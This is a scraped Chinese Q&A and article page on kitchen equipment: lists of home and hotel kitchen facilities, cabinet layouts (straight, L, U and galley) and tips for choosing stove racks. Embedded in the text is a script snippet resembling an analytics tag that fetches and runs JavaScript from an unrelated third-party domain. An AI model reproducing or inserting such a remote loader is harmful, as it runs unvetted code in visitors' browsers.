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冯安祯

厨房设施都有哪些?

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波涛装饰 有用 1

厨房储藏设备,分为食品储藏和器物用品储藏两大部分。食品储藏又分为冷藏和非冷储藏,冷藏是通过厨房内的电冰箱、冷藏柜等实现的。器物用品储藏是为餐具、炊具、器皿等提供存储的空间。储藏设备是通过各种底柜、吊柜、角柜、多功能装饰柜等完成的。
厨房洗涤设备,包括冷热水的供应系统、排水设备、洗物盆、洗物柜等,洗涤后在厨房操作中产生的垃圾,应设置垃圾箱、桶等,现代家庭厨房还应配备消毒柜、食品垃圾粉碎器等设备。
厨房调理设备,主要包括调理的台面,整理、切菜、配料、调制的工具和器皿。
厨房烹调设备,主要有炉具、灶具和烹调时的相关工具和器皿。
厨房烹调设备,主要有炉具、灶具和烹调时的相关工具和器皿。
厨房进餐设备,主要包括餐厅中的家具和进餐时的工具和器皿等。

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铂艺装饰 有用 1

橱柜,洗菜盆,水龙头,砧板、菜刀、炒菜锅、锅铲、调味品罐、油壶、保鲜膜(袋)、洗菜的篮子、米桶、电饭煲、高压锅、抹布、洗碗布……

闫鹏123 有用 1

厨房设施:一般常见中式厨房设备包括:灶具;蒸煮设备;消毒设备;调理设备;环保设备;炊事设备;通风设备这几类,具体还要看你的用途餐饮业厨房功能区的划分:主食库,副食、干货库,腌制间,面点、小吃间,凉菜间,蔬菜初加工间,肉类、水产加工间,垃圾间,切配间,打荷区,烹饪区,蒸煮区,配餐区,售卖、传菜区,就餐区.
1、热厨区:燃气炒灶,蒸饭柜,汤炉,煲仔炉具,蒸柜,电磁炉,微波炉,烤炉;
2、储藏设备:其分为食品储藏部分,板货架、米面柜、打荷台等,器物用品储藏部分调料柜、售卖工作台、各种底柜、吊柜、角柜、多功能装饰柜等;
3、洗涤消毒设备:冷热水的供应系统、排水设备、洗物盆、洗碗机、高温消毒柜等,洗涤后在厨房操作中产生的垃圾处置设备等、食品垃圾粉碎器等设备;
4、调理设备:主要是调理的台面,整理、切菜、配料、调制的工具和器皿.
5、食品机械:主要是和面机、搅拌机、切片机、打蛋机等.
6、制冷设备:冷饮机、制冰机、冰柜、冷库、冰箱等.

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专题 酒店厨房设备有哪些

酒店厨房设备有哪些

我们都知道,酒店也算是大型餐饮,里面供应的食物在种类和数量上都是不在少数,那么这么庞大的供给系统,其后备盾也就是他们的厨房供应设备又如何呢?一个完整的正规的酒店必须本着卫生、防火、方便和美观的原则配备所有的装备,所以它不能只有基础的烹调和清洗设备,还应该包括更多,那么,酒店厨房设备具体有哪些呢?现在小编来为大家详细介绍。酒店厨房设备有哪些酒店厨房设备主要包括以下5大类:第一类是储藏用具,分为食品储藏和器物用品储藏两大部分。食品储藏又分为冷藏和非冷储藏,冷藏是通过厨房内的电冰箱、冷藏柜等实现的。器物用品储藏是为餐具、炊具、器皿等提供存储的空间。储藏用具是通过各种底柜、吊柜、角柜、多功能装饰柜等完成的。第二类是厨房设备洗涤用具,包括冷热水的供应系统、排水设备、洗物盆、洗物柜等,洗涤后在厨房操作中产生的垃圾,应设置垃圾箱或卫生桶等,现代家庭厨房还应配备消毒柜、食品垃圾粉碎器等设备。第三类是调理用具,主要包括调理的台面,整理、切菜、配料、调制的工具和器皿。随着科技的进步,家庭厨房用食品切削机具、榨压汁机具、调制机具等也在不断增加。第四类是烹调用具,主要有炉具、灶具和烹调时的相关工具和器皿。随着厨房革命的进程,铁板烧设备、电饭锅。高频电磁灶、微波炉、微波烤箱等也开始大量进人家庭。第五类是厨房设备进餐用具,主要包括餐厅中的家具和进餐时的用具和器皿等。1.厨房机械:洗碗机、洗菜机、饺子机、压面机、和面机、饺肉机、切肉机、洗米机、面点机、刨冰机、榨汁机、搅拌机、豆浆机、冰激凌机、甜筒机、咖啡机、真空冷却机等。2.厨房设备:排风管道、排烟设备、连续油炸机、翻转锅、自动炒锅、刀板杀菌柜、米饭生产线、餐具浸泡槽、操作台、风力烤线、万能点烤箱、洗涤槽、洗涤盘、保管箱、储存柜、存放架、餐车、炊具五金架、杆、钩、餐具五金架、杆、钩、调料盒、调料箱、调料架、炊具架等。3.厨房餐具:陶瓷餐具、塑料餐具、不锈钢餐具、竹木餐具、金银餐具、铜锡餐具、金漆餐具、西餐具、中餐具、酒具、茶具、咖啡具等。4.厨房炊具:炒锅、炒勺、蒸锅、汤锅、砂锅、火锅、平底锅、不粘锅、蒸笼、蒸箱、高压锅等。5.厨房炉灶:抽油烟机、燃气灶、油炉、汽炉、电炉、烤箱烤炉、酒精炉、木炭炉等。6.厨房电器:电饭煲、微波炉、开水器、电磁炉、消毒柜、冰箱、冰柜、冷藏柜、净水机、排风扇、饮水机、厨房电器材料及配件等。7.厨房橱柜:不锈钢橱柜、木质橱柜、防火板橱柜、钢板橱柜、整体橱柜、整体厨房、集成厨房、橱柜台面、板材及配件等。8.厨房附属设施及用品:快餐厅桌椅、吧台桌椅、水龙头、桌布、台布、照明灯具、开关、装饰品、水果篮、蔬菜筐等。以上小编所介绍的物品琳琅满目,大大小小的设备有几十种,有一些是我们普通家庭常用的东西和器具,但有些可能大多数消费者是没听过的,但这的确是一个大型且规范的酒店厨房设备所应该具备的,这样才能达到卫生、安全、方便,美观的标准。同时对于卫生方面,酒店厨房设备还是需要定期清理才能真正保障卫生达标,所以定时的检查也是很有必要。

家用厨房厨柜都有哪些样式和类型

家用厨房厨柜都有哪些样式和类型

厨房中厨柜的挑选也是很要紧的,很多人在选择时是按照厨房的面积以及装修效果来找到合适的家用厨房厨柜进行搭配。那么家用厨房厨柜都有哪些样式和类型呢?家用厨房厨柜之一:一字形厨柜所有的东西都是贴着一面墙来放置的,是线性的作业平台,这种设计适合窄的厨房,可以让人感觉很紧凑。如果厨房面积比较大,最好就不要用这种样式,否则可能各功能间的距离过大,也会造成太空的感觉。家用厨房厨柜之二:L形厨柜不要只看有个转角,利用好了能起到很大的功效的,这也是面积较小的厨房的比较理想的设计。这种厨柜在两侧连接墙间划出一块区域,可以形成不错的工作三角。灶台、水槽、消毒柜等都可以放在这块区域,当然要避免过于拥挤。家用厨房厨柜之三:U形厨柜这种设计在其他国家和地区比较多,通常来说是用在厨房空间较大的场所。这种设计也比较实用,便于取用物品,能够充分利用好空间进行烹调和存放物品。U形厨房在大的厨房里应用,可以防止操作平台交叉。相对的两排厨柜间至少要有一米二的间距,保证有充足的空间,这样两个人同时在厨房里忙活也不会显得拥挤。家用厨房厨柜之四:二字型厨柜它也被称为走廊厨房,是顺着面对面的墙建造的两排工作和存储区域。假如业主认为储物是重点所在,那么就用这种设计比较好。这种设计也是应该用在有较大空间的厨房的。设计的时候需要注意的是,两排面对面的柜子间距至少要有一米二,保证能有充足的空间开关柜门。当然较小的厨房也不是完全不能用这种设计,只是尺寸要有改变,两边的柜子深度要有不所同。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

厨房灶台架

厨房灶台架的购买技巧都有哪些

厨房灶台架虽然说是不起眼,但是对于我们来说是非常重要的,可以让我们厨房的一些瓶瓶罐罐都有处安放,也是每个厨房不可或缺的部分,那么我们在购买厨房的灶台架时候有什么技巧吗,接下来我们就来看一下厨房灶台架的购买技巧都有哪些?1、材质的选择;2、选择正规厂家的产品;3、选择易清洗的灶台厨房灶台架的购买技巧都有哪些?1.在选择厨房的灶台架的时候,首先我们要从材质上面选择,因为厨房灶台架的材质分别有不锈钢的,以及塑料的,所以说这样看我们需要的是什么样的了,一般不锈钢的比较的耐用,所以说选择的人群也是比较多的。2.生产厂家的选择对于我们来说也是很重要的,因为只有是正规厂家生产出来的灶台架,在质量上面也才是有保障的,而且正规厂家的灶台架在承重上面也是比较好的。3.我们在挑选的时候因为是在厨房里面使用的,所以说要选择比较好清洁的,要不然的话弄上油渍是非常难清洗的,这是我们一定要记住的事情的,要不然的话等脏了的话就很悲催了。厨房灶台架的购买技巧都有哪些?就为大家介绍到这里了,希望在看了上面文章的朋友们,都会选择到适合自己的厨房灶台架,虽然说是厨房灶台架不是什么大件的东西,但是在购买的时候也是需要我们认真选择的,因为厨房的东西几乎我们每天都会使用的,所以说在质量上面是一定要保障的,要不然的话在使用的时候是非常麻烦的。

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